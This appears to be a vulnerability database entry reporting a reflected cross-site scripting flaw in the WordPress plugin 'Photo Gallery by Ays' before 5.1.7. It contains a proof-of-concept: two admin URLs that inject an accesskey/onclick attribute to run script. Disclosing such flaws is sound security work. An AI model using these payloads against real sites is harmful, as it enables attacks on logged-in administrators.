Lucene search

K
wpvulndbWpvulndbWPVDB-ID:B1704A12-459B-4F5D-AA2D-A96646DDAF3E
HistoryMay 16, 2023 - 12:00 a.m.

Photo Gallery by Ays < 5.1.7 - Reflected XSS

2023-05-1600:00:00
wpscan.com
4
photo gallery
ays
reflected xss
cross-site scripting
high privilege users
admin
plugin vulnerability
attribute escaping

0.001 Low

EPSS

Percentile

23.0%

The plugin does not escape some parameters before outputting it back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

PoC

Make a logged in admin open one of the URLs below v < 5.1.7 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery-settings&amp;ays;_gpg_tab=" accesskey=X onclick=alert(/XSS/)// v < 5.1.6 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery&amp;action;=edit&amp;gallery;=1&amp;ays;_gpg_settings_tab=" accesskey=X onclick=alert(/XSS/)// The XSS will be triggered when pressing ALT+SHIFT+X on Windows and CTRL+ALT+X on OS X

CPENameOperatorVersion
gallery-photo-gallerylt5.1.7

0.001 Low

EPSS

Percentile

23.0%

Related for WPVDB-ID:B1704A12-459B-4F5D-AA2D-A96646DDAF3E